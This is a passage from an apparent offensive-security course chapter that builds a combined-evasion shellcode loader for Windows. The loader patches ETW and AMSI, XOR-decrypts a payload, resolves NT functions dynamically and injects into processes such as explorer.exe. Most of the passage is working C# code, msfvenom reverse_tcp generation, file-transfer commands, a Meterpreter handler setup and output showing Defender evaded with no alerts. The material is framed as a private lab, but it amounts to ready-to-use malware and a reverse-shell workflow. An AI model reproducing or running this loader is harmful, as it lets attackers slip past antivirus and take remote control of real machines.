 Step 5: Allocate memory (RW first, then RX)
 ↓ Two-step allocation avoids the suspicious RWX pattern.
 Step 6: Execute shellcode (local thread or remote injection)
 ↓ Code runs. Meterpreter connects back to Kali.

If you change this order, things break:

- If you patch AMSI before ETW, the AMSI patching generates ETW events that Defender reads. Defender sees “process modified amsi.dll memory” and flags it.
- If you resolve functions before patching ETW, the resolution process generates ETW events that tell Defender which NT functions you are looking up. Defender sees “process is resolving NtAllocateVirtualMemory, NtCreateThreadEx” and raises the behavioral score.
- If you decrypt shellcode before patching AMSI, and AMSI happens to inspect your decryption routine, it could catch the shellcode bytes in managed memory before they are moved to unmanaged memory.

The order in Loader 08 is designed so each step creates the conditions needed for the next step to succeed.

11.3.3 What Each Step Defeats

Step	Technique	Detection layer it defeats
1	ETW patch	ETW telemetry (Defender’s behavioral monitoring)
2	AMSI patch	AMSI runtime scanning (script and .NET code scanning)
3	XOR decryption	Static file scanning (signature matching on disk)
4	Dynamic resolution	Import table analysis (PE header inspection)
5	Two-step allocation	Behavioral ML (the RWX memory pattern is a high-confidence signal)
6	NT functions	API hooks in ntdll.dll (reduces hook trigger probability)

After all six steps, Defender’s remaining detection capability is:

- **Kernel-mode ETW** (Microsoft-Windows-Threat-Intelligence provider): runs in the kernel, cannot be patched from user mode. Default Defender does not heavily rely on this for general detection.
- **Cloud-based ML analysis**: Defender can send binary metadata to Microsoft’s cloud service for deeper analysis. The binary needs to trigger a cloud submission first, which the clean import table and lack of static signatures make unlikely.
- **Periodic memory scanning**: Defender periodically scans process memory for known patterns. If you inject into a long-running process and the Meterpreter payload generates recognizable patterns in memory, a periodic scan could catch it later. This is a race against time.

11.3.4 Local vs Remote Execution

Loader 08 has two modes:

Local mode (no target process specified): The shellcode runs in the loader's own process. This is simpler and more reliable. The downside is that your binary (stealth_loader.exe) is the process making the network connection. If a security analyst checks running processes, an unknown binary making outbound connections is suspicious.

Remote mode (target process specified): The shellcode is injected into another process using NT functions resolved dynamically. Instead of using kernel32's WriteProcessMemory (which Defender hooks), Loader 08 uses NtWriteVirtualMemory from ntdll.dll, resolved via GetProcAddress. The shellcode runs inside the target process (explorer.exe, svchost.exe, etc.), and the network connection comes from that process instead of your binary.

Remote mode is more evasive but requires administrator privileges to inject into system processes.

11.3.5 The NT Functions Used in Remote Mode

Loader 08 uses five NT functions for remote injection:

NT function	What it does	Replaces
NtAllocateVirtualMemory	Allocates memory in the target process	VirtualAllocEx
NtWriteVirtualMemory	Writes bytes to the target process	WriteProcessMemory
NtProtectVirtualMemory	Changes memory protection in the target process	VirtualProtectEx
NtCreateThreadEx	Creates a thread in the target process	CreateRemoteThread
OpenProcess (resolved dynamically)	Opens a handle to the target process	OpenProcess via DllImport

All five are resolved at runtime via GetProcAddress. Their names are built from integer offsets. None appear in the binary's import table.

11.4 What Defender Does

Here is the complete picture of how Defender's six layers interact with Loader 08:

Layer	What it checks	Loader 08's response	Result
Static file scanning	Binary on disk, shellcode on disk	Binary has clean imports and no suspicious strings. Shellcode is XOR-encrypted.	BYPASSED

Layer	What it checks	Loader 08's response	Result
Import table analysis	Function names in PE header	Only GetModuleHandle, GetProcAddress, LoadLibrary, VirtualProtect, CloseHandle in imports. All legitimate.	BYPASSED
AMSI	.NET code at runtime	AmsiScanBuffer patched to return E_INVALIDARG. No scanning occurs.	BYPASSED
ETW telemetry	Process behavior events	EtwEventWrite patched to return STATUS_SUCCESS without logging. No events generated.	BYPASSED
API hooks in ntdll.dll	Intercepts API calls	NT functions resolved dynamically, called via delegates. Hooks may see calls but import table is clean, ETW is dead.	REDUCED
Behavioral ML	Scores combined behavior	Two-step allocation, clean imports, no ETW events to analyze. ML score stays below threshold.	BYPASSED

Five layers are fully bypassed. The sixth (API hooks) is reduced in effectiveness because the hooks have no ETW telemetry to correlate with and the import table provides no supporting evidence. The behavioral ML model needs multiple signals to reach a high-confidence detection, and with ETW dead and imports clean, there are not enough signals.

11.5 The Evasion Technique

Loader 08 is not a new technique. It is the correct combination of all the techniques you have learned, applied in the right order with the right implementation details. The evasion comes from the combination, not from any single step.

Here is what makes the combination work:

1. **Each technique covers for another technique's weakness.** XOR encryption hides shell-code from disk scanning, but the loader binary still has suspicious imports. Dynamic resolution fixes the imports, but ETW logs the API calls. ETW patching silences the logs, but Defender could detect the patching through AMSI. AMSI patching prevents that, but the patching itself generates ETW events. Patching ETW first prevents that.
2. **The import table tells a neutral story.** The only DllImport functions in Loader 08 are GetModuleHandle, GetProcAddress, LoadLibrary, VirtualProtect, and CloseHandle. These are used by thousands of legitimate programs. There is nothing in the import table that says "this is a hacking tool".
3. **No static signatures.** Every function name, DLL name, and patch byte sequence is built from arithmetic at runtime. The compiled binary contains integer arrays, not recogniz-

able strings or byte patterns. YARA rules and static scanners cannot match what is not there.

4. **Clean memory operations.** Two-step allocation (RW then RX instead of single RWX) matches the pattern of legitimate programs that do just-in-time compilation. The .NET CLR itself allocates memory this way.
5. **Selective disclosure.** In remote mode, the loader process does the patching and decryption, but the shellcode runs in a different process. If a security tool examines the loader process, it finds patches applied to ETW and AMSI (which are suspicious), but the shellcode is not there. If it examines the target process, it finds the shellcode running, but that process has its own unpatched copies of ETW and AMSI (each process loads its own DLLs). The malicious activity is split across two processes.

11.6 Getting the Loader Onto the Target

11.6.1 What You Need

1. **stealth_loader.exe:** the compiled Loader 08 binary
2. **encrypted.bin:** XOR-encrypted shellcode (from Document 06)
3. **The XOR key:** the hex string from the encoder

11.6.2 Full Workflow (All Three Machines)

On Kali (192.168.10.200), generate shellcode if you do not already have it:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.200 LPORT=4444 -f raw  
↳ -o payload.bin
```

Start a Python HTTP server on Kali to serve the shellcode to the dev box:

```
python3 -m http.server 8080
```

On the dev box (ammulu, 192.168.10.150), download the shellcode from Kali:

```
Invoke-WebRequest -Uri "http://192.168.10.200:8080/payload.bin" -OutFile  
↳ "C:\Users\ammulu\Desktop\payload.bin"
```

Encrypt it with the XOR encoder from Document 06:

```
cd C:\Users\ammulu\Desktop  
xor_encode.exe payload.bin encrypted.bin
```

Write down the printed XOR key.

Compile Loader 08:

```
dotnet publish Loader08 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output
```

Host stealth_loader.exe and encrypted.bin on the dev box:

```
python -m http.server 8080
```

On the target (kimjongun, 192.168.10.100), download both files:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/stealth_loader.exe" -OutFile
↳ "C:\Users\kimjongun\Desktop\stealth_loader.exe"
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile
↳ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

Defender scans both files when they hit the disk. `stealth_loader.exe` has a clean import table (`GetModuleHandle`, `GetProcAddress`, `LoadLibrary`, `VirtualProtect`, `CloseHandle`) and no suspicious strings in its data section. The `encrypted.bin` file is XOR-scrambled and matches no known signatures. Both files survive Defender's static scan.

AMSI implications: When the .NET CLR loads `stealth_loader.exe`, AMSI inspects the managed assembly. The managed code does not contain any known malicious patterns (no shellcode byte arrays, no `Invoke-Mimikatz` strings). AMSI allows it. Once the loader runs, step 2 patches AMSI for the rest of the process's lifetime.

ETW considerations: Before step 1 runs, the loader is generating ETW events normally. The events for the initial .NET CLR loading, process startup, and module loading are visible to Defender. But these events describe a normal .NET application starting up, which is not suspicious. Once step 1 patches `EtwEventWrite`, all subsequent operations (AMSI patching, memory allocation, thread creation, network connections) generate no events.

Process tree: When you run `stealth_loader.exe` from `cmd.exe`, Defender sees `cmd.exe` as the parent and `stealth_loader.exe` as the child. In remote mode, the shellcode then runs inside the target process (`explorer.exe`), and the network connection originates from that process. The process tree does not show a direct connection between `stealth_loader.exe` and the Meterpreter session.

Reference file: `lab/loaders/08_combined_evasion.cs`

11.7 Teaching the Code

Loader 08 reuses code patterns from Loaders 03, 04, and 07 that you have already learned. This section focuses on what is new and different in the combined loader.

11.7.1 The Import List

```
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect,
↳ out uint lpflOldProtect);

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
static extern IntPtr LoadLibrary(string lpFileName);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
```

Five imports, all from `kernel32.dll`, all completely standard. `GetModuleHandle` and `GetProcAddress` are the same two imports from Loader 03. `LoadLibrary` is used for loading `amsi.dll`

(same as Loader 04). VirtualProtect is used for changing memory protection when applying the ETW and AMSI patches. CloseHandle releases process and thread handles after remote injection.

When C# compiles each DllImport line, it writes the function name directly into the .exe file on your hard drive in the import table section. You can open Loader 08's compiled .exe in Notepad right now and you will literally see "GetModuleHandle", "GetProcAddress", "LoadLibrary", "VirtualProtect", "CloseHandle" sitting there as readable text inside all the garbage characters. Defender opens that .exe, reads the whole thing from start to end, and that combination matches nothing suspicious in its database. Compare this to Loader 05, where "OpenProcess", "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread" were all sitting there in the same import table as readable text, and Defender matched that cluster as a process injection tool immediately. Loader 08 hides all the injection-related functions behind dynamic resolution at runtime, so their names never appear in the .exe file on your hard drive.

11.7.2 OpenProcess via Dynamic Resolution

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr ProcessOpenDelegate(uint dwDesiredAccess, bool bInheritHandle, int
↳ dwProcessId);

static IntPtr ResolveAndCall(uint access, bool inherit, int pid)
{
    IntPtr k32 = GetModuleHandle(FromOffsets(32, 75,69,82,78,69,76,19,18,14,68,76,76));
    IntPtr addr = GetProcAddress(k32, FromOffsets(32,
↳ 47,80,69,78,48,82,79,67,69,83,83));
    var fn = (ProcessOpenDelegate)Marshal.GetDelegateForFunctionPointer(addr,
↳ typeof(ProcessOpenDelegate));
    return fn(access, inherit, pid);
}
```

This is a new pattern not in previous loaders. In Loader 05, OpenProcess was imported via DllImport, which meant the word "OpenProcess" was written into the .exe file on your hard drive as readable text. In Loader 08, OpenProcess is resolved at runtime:

1. GetModuleHandle finds kernel32.dll using the name built from offsets: base 32 plus offsets [75,69,82,78,69,76,19,18,14,68,76,76] produces "kernel32.dll". Let us verify: 32+75=107='k', 32+69=101='e', 32+82=114='r', 32+78=110='n', 32+69=101='e', 32+76=108='l', 32+19=51='3', 32+18=50='2', 32+14=46='.', 32+68=100='d', 32+76=108='l', 32+76=108='l'. That spells "kernel32.dll".
2. GetProcAddress finds OpenProcess inside kernel32.dll. The name is built from offsets: 32+47=79='O', 32+80=112='p', 32+69=101='e', 32+78=110='n', 32+48=80='P', 32+82=114='r', 32+79=111='o', 32+67=99='c', 32+69=101='e', 32+83=115='s', 32+83=115='s'. That spells "OpenProcess".
3. Marshal.GetDelegateForFunctionPointer creates a callable delegate from the function address.
4. The delegate is called immediately with the access flags, inherit flag, and PID.

The result is that "OpenProcess" is assembled in the computer's RAM at runtime and never written into the .exe file on your hard drive as text. You can open the compiled .exe in Notepad right now and you will never see "OpenProcess" sitting there because it is never stored as a string. Defender opens that .exe, reads the whole thing from start to end, and only finds "GetModuleHandle" and "GetProcAddress" in the import table, both of which appear in thousands of normal programs and match nothing suspicious in Defender's database.

11.7.3 The NT Function Delegates

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int MemAllocDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr
↳ ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int MemWriteDelegate(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer,
↳ uint NumberOfBytesToWrite, out uint NumberOfBytesWritten);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int MemProtectDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr
↳ RegionSize, uint NewProtect, out uint OldProtect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int ThreadCreateDelegate(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr
↳ ObjectAttributes, IntPtr ProcessHandle, IntPtr StartRoutine, IntPtr Argument, uint
↳ CreateFlags, IntPtr ZeroBits, IntPtr StackSize, IntPtr MaximumStackSize, IntPtr
↳ AttributeList);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate int WaitObjectDelegate(IntPtr Handle, bool Alertable, IntPtr Timeout);
```

You have seen MemAllocDelegate, MemProtectDelegate, ThreadCreateDelegate, and WaitObjectDelegate in Loader 03. The new one is MemWriteDelegate, which represents NtWriteVirtualMemory. This function writes bytes from your process into another process's memory, the same thing WriteProcessMemory does but at the NT level. The delegate takes a ProcessHandle (the target process), BaseAddress (where to write in the target), Buffer (the bytes to write), NumberOfBytesToWrite, and NumberOfBytesWritten (how many bytes were actually written). Because these are delegate types rather than DllImport declarations, none of the function names "NtWriteVirtualMemory", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", "NtCreateThreadEx", or "NtWaitForSingleObject" get written into the .exe file on your hard drive. Defender reads the whole file from start to end and those names are simply not there.

11.7.4 The ETW Patch in Loader 08

```
static bool PatchTelemetry()
{
    Console.WriteLine("[1/6] Patching telemetry...");

    IntPtr ntdll = GetModuleHandle(FromOffsets(32, 78, 84, 68, 76, 76));
    if (ntdll == IntPtr.Zero) return false;

    string funcName = FromOffsets(32, 37, 84, 87, 37, 86, 69, 78, 84, 55, 82, 73, 84, 69);
    IntPtr funcAddr = GetProcAddress(ntdll, funcName);
    if (funcAddr == IntPtr.Zero) return false;

    uint oldProtect;
    if (!VirtualProtect(funcAddr, (UIntPtr)3, GetRWXProtect(), out oldProtect))
        return false;

    byte[] patch = new byte[3];
    patch[0] = (byte)(0x19 + 0x1A);
    patch[1] = (byte)(0x60 + 0x60);
    patch[2] = (byte)(0x61 + 0x62);
```

```

    Marshal.Copy(patch, 0, funcAddr, patch.Length);

    uint ignored;
    VirtualProtect(funcAddr, (UIntPtr)3, oldProtect, out ignored);

    Console.WriteLine("        Telemetry patched. No events from this process.");
    return true;
}

```

This is the same ETW patch from Loader 07 but condensed. No explanation comments because those are in the standalone loader. The output is labeled “[1/6]” to show the student where this step falls in the six-step execution order.

11.7.5 The AMSI Patch in Loader 08

```

static bool PatchScanner()
{
    Console.WriteLine("[2/6] Patching scanner...");

    string dllName = FromOffsets(32, 65, 77, 83, 73, 14, 68, 76, 76);
    IntPtr amsiDll = LoadLibrary(dllName);
    if (amsiDll == IntPtr.Zero) return false;

    string funcName = FromOffsets(32, 33, 77, 83, 73, 51, 67, 65, 78, 34, 85, 70, 70, 69, 82);
    IntPtr funcAddr = GetProcAddress(amsiDll, funcName);
    if (funcAddr == IntPtr.Zero) return false;

    uint oldProtect;
    if (!VirtualProtect(funcAddr, (UIntPtr)6, GetRWXProtect(), out oldProtect))
        return false;

    byte[] patch = new byte[6];
    patch[0] = (byte)(0x5C + 0x5C);
    patch[1] = (byte)(0x2B + 0x2C);
    patch[2] = (byte)(0x00);
    patch[3] = (byte)(0x03 + 0x04);
    patch[4] = (byte)(0x40 + 0x40);
    patch[5] = (byte)(0x61 + 0x62);
    Marshal.Copy(patch, 0, funcAddr, patch.Length);

    uint ignored;
    VirtualProtect(funcAddr, (UIntPtr)6, oldProtect, out ignored);

    Console.WriteLine("        Scanner patched. Content inspection disabled.");
    return true;
}

```

Similar goal to Loader 04 (disable AMSI by patching AmsiScanBuffer), but the implementation differs. Loader 08 uses VirtualProtect via DllImport and applies a 6-byte E_INVALIDARG return patch. Loader 04 avoids VirtualProtect entirely and writes only a single 0xC3 byte via an indirect NtProtectVirtualMemory syscall stub. The reason Loader 08 can afford to have “VirtualProtect” sitting as readable text in the .exe file on your hard drive is that by the time this function runs, the ETW patch has already silenced the detection signal that VirtualProtect’s presence would normally trigger. Defender would usually notice VirtualProtect being called on a system DLL’s memory page through ETW telemetry, but with ETW already patched in step 1, no telemetry gets through. Labeled “[2/6]” in the output.

11.7.6 The Main Function: The Orchestrator

```
static void Main(string[] args)
{
    if (args.Length < 2)
    {
        Console.WriteLine("Stealth Runner");
        Console.WriteLine("Usage: runner.exe <data.bin> <key_hex> [target]");
        Console.WriteLine("");
        Console.WriteLine("  data.bin:    encrypted data file");
        Console.WriteLine("  key_hex:    decryption key");
        Console.WriteLine("  target:     optional target process name");
        return;
    }

    string dataPath = args[0];
    string keyHex = args[1];
    string targetProcess = args.Length >= 3 ? args[2] : null;
```

The usage shows two modes. Without a third argument, the loader runs shellcode in its own process (local mode). With a third argument (a process name like “explorer”), it injects into that process (remote mode).

```
// Step 1: Patch ETW
if (!PatchTelemetry())
{
    Console.WriteLine("[-] Telemetry patch failed. Continuing anyway (higher
↳ detection risk).");
}

// Step 2: Patch AMSI
if (!PatchScanner())
{
    Console.WriteLine("[-] Scanner patch failed. Continuing anyway (scripts may be
↳ blocked).");
}
```

Both patches are applied at the start. If either fails, the loader prints a warning but continues. The patches are not strictly required for the shellcode to execute (Loader 03 worked without them), but they provide additional evasion layers. A failed patch increases detection risk but does not prevent execution.

```
// Step 3: Decrypt
Console.WriteLine("[3/6] Decrypting data...");
byte[] encrypted = File.ReadAllBytes(dataPath);
byte[] key = HexToBytes(keyHex);
byte[] data = TransformData(encrypted, key);

Array.Clear(encrypted, 0, encrypted.Length);
Console.WriteLine("    Decrypted " + data.Length + " bytes in memory.");
```

Read the encrypted shellcode from disk and XOR-decrypt it in memory. Clear the encrypted copy immediately. At this point, the decrypted shellcode exists only in the managed byte array

data. It will be copied to unmanaged memory in the next step and then cleared from managed memory.

```
// Steps 4-6: Execute
if (targetProcess != null)
{
    ExecuteRemote(data, targetProcess);
}
else
{
    ExecuteLocal(data);
}
```

Branch to local or remote execution based on whether a target process was specified.

11.7.7 Local Execution (ExecuteLocal)

```
static void ExecuteLocal(byte[] data)
{
    IntPtr currentProcess = (IntPtr)(-1);

    Console.WriteLine("[4/6] Resolving NT functions...");
    var ntAlloc = ResolveNtFunction<MemAllocDelegate>(
        FromOffsets(32,
            ↪ 46,84,33,76,76,79,67,65,84,69,54,73,82,84,85,65,76,45,69,77,79,82,89));
    var ntProtect = ResolveNtFunction<MemProtectDelegate>(
        FromOffsets(32,
            ↪ 46,84,48,82,79,84,69,67,84,54,73,82,84,85,65,76,45,69,77,79,82,89));
    var ntCreateThread = ResolveNtFunction<ThreadCreateDelegate>(
        FromOffsets(32, 46,84,35,82,69,65,84,69,52,72,82,69,65,68,37,88));
    var ntWait = ResolveNtFunction<WaitObjectDelegate>(
        FromOffsets(32,
            ↪ 46,84,55,65,73,84,38,79,82,51,73,78,71,76,69,47,66,74,69,67,84));
    Console.WriteLine("    Functions resolved.");
}
```

This is the same function resolution from Loader 03. Four NT functions are resolved dynamically, their names built from integer offsets. `(IntPtr)(-1)` is the NT handle for “the current process”.

```
Console.WriteLine("[5/6] Allocating memory...");
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = (IntPtr)data.Length;
int status = ntAlloc(currentProcess, ref baseAddr, IntPtr.Zero, ref regionSize,
    ↪ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

Marshal.Copy(data, 0, baseAddr, data.Length);
Array.Clear(data, 0, data.Length);

IntPtr protAddr = baseAddr;
IntPtr protSize = regionSize;
uint oldProt;
```

```
ntProtect(currentProcess, ref protAddr, ref protSize, PAGE_EXECUTE_READ, out
↳ oldProt);
Console.WriteLine("      Memory ready (RW -> RX).");
```

Allocate memory as PAGE_READWRITE, copy the shellcode, clear the managed copy, then change protection to PAGE_EXECUTE_READ. Two-step allocation, same as Loader 03.

```
Console.WriteLine("[6/6] Executing code...");
IntPtr threadHandle;
status = ntCreateThread(out threadHandle, THREAD_ALL_ACCESS, IntPtr.Zero,
↳ currentProcess, baseAddr, IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
↳ IntPtr.Zero);

Console.WriteLine("      Code running.");
ntWait(threadHandle, false, IntPtr.Zero);
}
```

Create a thread at the shellcode's address and wait for it. The shellcode (Meterpreter) establishes a connection to Kali and the wait keeps the process alive.

11.7.8 Remote Execution (ExecuteRemote)

```
static void ExecuteRemote(byte[] data, string targetProcessName)
{
    Console.WriteLine("[4/6] Finding target process: " + targetProcessName + "...");
    Process[] procs = Process.GetProcessesByName(targetProcessName);
    if (procs.Length == 0)
    {
        Console.WriteLine("      [-] Process not found.");
        return;
    }

    int targetPid = procs[0].Id;
    Console.WriteLine("      Found PID: " + targetPid);
```

Find the target process by name. Same as Loader 05.

```
IntPtr processHandle = ResolveAndCall(PROCESS_ALL_ACCESS, false, targetPid);
if (processHandle == IntPtr.Zero)
{
    Console.WriteLine("      [-] Could not open process. Need admin privileges.");
    return;
}
```

Open the target process using OpenProcess resolved dynamically (via ResolveAndCall). Unlike Loader 05 which used DllImport, this does not put OpenProcess in the import table.

```
var ntAlloc = ResolveNtFunction<MemAllocDelegate>(
    FromOffsets(32,
↳ 46,84,33,76,76,79,67,65,84,69,54,73,82,84,85,65,76,45,69,77,79,82,89));
var ntWrite = ResolveNtFunction<MemWriteDelegate>(
    FromOffsets(32, 46,84,55,82,73,84,69,54,73,82,84,85,65,76,45,69,77,79,82,89));
```

```
var ntProtect = ResolveNtFunction<MemProtectDelegate>(
    FromOffsets(32,
        ↪ 46,84,48,82,79,84,69,67,84,54,73,82,84,85,65,76,45,69,77,79,82,89));
var ntCreateThread = ResolveNtFunction<ThreadCreateDelegate>(
    FromOffsets(32, 46,84,35,82,69,65,84,69,52,72,82,69,65,68,37,88));
```

Resolve four NT functions. NtWriteVirtualMemory (ntWrite) is new compared to local mode. In local mode, you use Marshal.Copy to write shellcode to your own process memory. In remote mode, you need NtWriteVirtualMemory to write shellcode to another process's memory.

```
Console.WriteLine("[5/6] Writing to " + targetProcessName + "...");
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = (IntPtr)data.Length;
int status = ntAlloc(processHandle, ref baseAddr, IntPtr.Zero, ref regionSize,
    ↪ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
```

Allocate memory in the target process. Notice that `processHandle` (the target process handle) is passed instead of `currentProcess`. NtAllocateVirtualMemory can allocate memory in any process you have a handle to with sufficient access rights.

```
uint bytesWritten;
status = ntWrite(processHandle, baseAddr, data, (uint)data.Length, out
    ↪ bytesWritten);

Array.Clear(data, 0, data.Length);
```

Write the shellcode to the target process using NtWriteVirtualMemory. This is the NT-level equivalent of WriteProcessMemory. Because it is resolved dynamically, WriteProcessMemory never appears in the import table. Clear the managed copy after writing.

```
IntPtr protAddr = baseAddr;
IntPtr protSize = regionSize;
uint oldProt;
ntProtect(processHandle, ref protAddr, ref protSize, PAGE_EXECUTE_READ, out
    ↪ oldProt);

Console.WriteLine("[6/6] Creating remote thread...");
IntPtr threadHandle;
status = ntCreateThread(out threadHandle, THREAD_ALL_ACCESS, IntPtr.Zero,
    ↪ processHandle, baseAddr, IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
    ↪ IntPtr.Zero);

Console.WriteLine("    Code running inside " + targetProcessName + " (PID " +
    ↪ targetPid + ").");
CloseHandle(threadHandle);
CloseHandle(processHandle);
}
```

Change the remote memory to executable, create a remote thread in the target process, and close the handles. NtCreateThreadEx works on remote processes the same way it works on the current process. The difference is the ProcessHandle parameter: pass your own process handle for local, pass the target process handle for remote.

After this, the shellcode is running inside the target process. Your Meterpreter session connects back to Kali from the target process's context.

11.7.9 The Complete Combined Evasion Loader

The full source code is at `lab/loaders/08_combined_evasion.cs`.

11.8 Compilation and Execution

11.8.1 Step 1: Generate and Encrypt Shellcode

On Kali (192.168.10.200):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.200 LPORT=4444 -f raw  
↳ -o payload.bin  
python3 -m http.server 8080
```

On the dev box (ammulu, 192.168.10.150):

```
Invoke-WebRequest -Uri "http://192.168.10.200:8080/payload.bin" -OutFile  
↳ "C:\Users\ammulu\Desktop\payload.bin"
```

Encrypt with the XOR encoder from Document 06:

```
cd C:\Users\ammulu\Desktop  
xor_encode.exe payload.bin encrypted.bin
```

Save the printed XOR key.

11.8.2 Step 2: Compile Loader 08 on the Dev Box

On the dev box (ammulu, 192.168.10.150), open the Developer Command Prompt for Visual Studio 2022:

```
dotnet publish Loader08 -c Release -r win-x64 --self-contained false /p:PublishSingleFile=true -o output
```

Expected output: the compiler produces `stealth_loader.exe` with no errors.

11.8.3 Step 3: Transfer to the Target

On the dev box (ammulu):

```
cd C:\Users\ammulu\Desktop  
python -m http.server 8080
```

On the target (kimjongun, 192.168.10.100):

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/stealth_loader.exe" -OutFile  
↳ "C:\Users\kimjongun\Desktop\stealth_loader.exe"  
Invoke-WebRequest -Uri "http://192.168.10.150:8080/encrypted.bin" -OutFile  
↳ "C:\Users\kimjongun\Desktop\encrypted.bin"
```

Both files survive Defender's disk scan.

11.8.4 Step 4: Set Up Listener on Kali

On Kali (192.168.10.200):

```
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.200
set LPORT 4444
run
```

11.8.5 Step 5a: Run in Local Mode

On the target (kimjongun, 192.168.10.100):

```
cd C:\Users\kimjongun\Desktop
stealth_loader.exe encrypted.bin 4A7F2B9DE3A1C084F56D1B8E97320AF6
```

Replace the hex key with your actual XOR key.

Expected output:

```
=== Stealth Runner ===
```

```
[1/6] Patching telemetry...
      Telemetry patched. No events from this process.
[2/6] Patching scanner...
      Scanner patched. Content inspection disabled.
[3/6] Decrypting data...
      Decrypted 510 bytes in memory.
[4/6] Resolving NT functions...
      Functions resolved.
[5/6] Allocating memory...
      Memory ready (RW -> RX).
[6/6] Executing code...
      Code running.
```

On your Kali listener:

```
[*] Sending stage (201798 bytes) to 192.168.10.100
[*] Meterpreter session 1 opened (192.168.10.200:4444 -> 192.168.10.100:xxxxx)
```

```
meterpreter >
```

You have a Meterpreter session with all six evasion layers active.

11.8.6 Step 5b: Run in Remote Mode (Injection into Explorer)

On the target (kimjongun, 192.168.10.100), open an **Administrator Command Prompt**:

```
cd C:\Users\kimjongun\Desktop
stealth_loader.exe encrypted.bin 4A7F2B9DE3A1C084F56D1B8E97320AF6 explorer
```

Expected output:

```
=== Stealth Runner ===
```

```
[1/6] Patching telemetry...
```

```
Telemetry patched. No events from this process.
[2/6] Patching scanner...
Scanner patched. Content inspection disabled.
[3/6] Decrypting data...
Decrypted 510 bytes in memory.
[4/6] Finding target process: explorer...
Found PID: 4532
[5/6] Writing to explorer...
[6/6] Creating remote thread...
Code running inside explorer (PID 4532).
```

=== Execution complete ===

On your Kali listener, you get the same Meterpreter session. But now, check which process the session runs in:

```
meterpreter > getpid
Current pid: 4532
```

The shellcode is running inside explorer.exe, not stealth_loader.exe. In Task Manager on the target, explorer.exe is the process using the network connection. stealth_loader.exe can exit after the injection, and the Meterpreter session stays alive inside explorer.exe.

Defender does not catch this. No alerts in Protection history. No quarantined files. No blocked operations.

11.9 Confirming Success

11.9.1 Full Confirmation Checklist

1. **Meterpreter session opened.** Your Kali listener shows a session. Run `sysinfo` to confirm you are on the target:

```
meterpreter > sysinfo
Computer      : DESKTOP-XXXXXXX
OS            : Windows 11 (10.0 Build 22621)
```
2. **No Defender alerts.** On the target (kimjongun), open Windows Security, go to Virus & threat protection, then Protection history. There should be no new entries. Defender did not detect anything.
3. **In remote mode, check the process.** Run `getpid` in Meterpreter. The PID should match the target process (explorer.exe), not stealth_loader.exe.
4. **In remote mode, stealth_loader.exe can exit.** After the injection completes, stealth_loader.exe exits (the “=== Execution complete ===” message appears). The Meterpreter session inside explorer.exe stays alive. You can verify by closing the command prompt that ran stealth_loader.exe and checking that Meterpreter is still connected.
5. **Network connection comes from the target process.** On the target, run `netstat -b` in an Administrator Command Prompt. Look for the connection to 192.168.10.200:4444. In local mode, the connection belongs to stealth_loader.exe. In remote mode, it belongs to explorer.exe.
6. **Defender Scan.** To be thorough, run a manual Defender scan on the target. Open Windows Security, go to Virus & threat protection, click Quick scan. The scan should complete without finding stealth_loader.exe or the injected shellcode.

11.10 What Was Gained

You can now:

- Combine all six evasion techniques into a single loader with correct execution order
- Explain why the execution order (ETW first, AMSI second, decrypt third, resolve fourth, allocate fifth, execute sixth) matters
- Run shellcode in local mode (current process) or remote mode (inject into another process)
- Use `NtWriteVirtualMemory` instead of `WriteProcessMemory` for remote injection via dynamic resolution
- Resolve `OpenProcess` dynamically so it does not appear in the import table
- Get a fully stealthy callback with Defender at full defaults and no detection alerts
- Explain which detection layers are active and how each step defeats them

This is the culmination of everything you learned in Documents 01 through 09. You started with a basic shellcode loader that Defender caught immediately, and you ended with a combined evasion loader that defeats all six detection layers and gives you a clean Meterpreter session inside a legitimate process.

The complete detection layer coverage:

Detection layer	Status	How it was defeated
Static file scanning	Defeated	XOR encryption (Document 06)
Import table analysis	Defeated	Dynamic resolution (Document 07)
AMSI runtime scanning	Defeated	AmsiScanBuffer patch (Document 08)
ETW telemetry	Defeated	EtwEventWrite patch (Document 08)
API hooks in <code>ntdll.dll</code>	Reduced	NT functions via delegates (Document 07)
Behavioral ML	Defeated	Two-step allocation + clean imports + no ETW signals (Documents 07, 08)

11.11 Common Threats and Variations

11.11.1 Variation 1: NTDLL Unhooking Instead of Dynamic Resolution

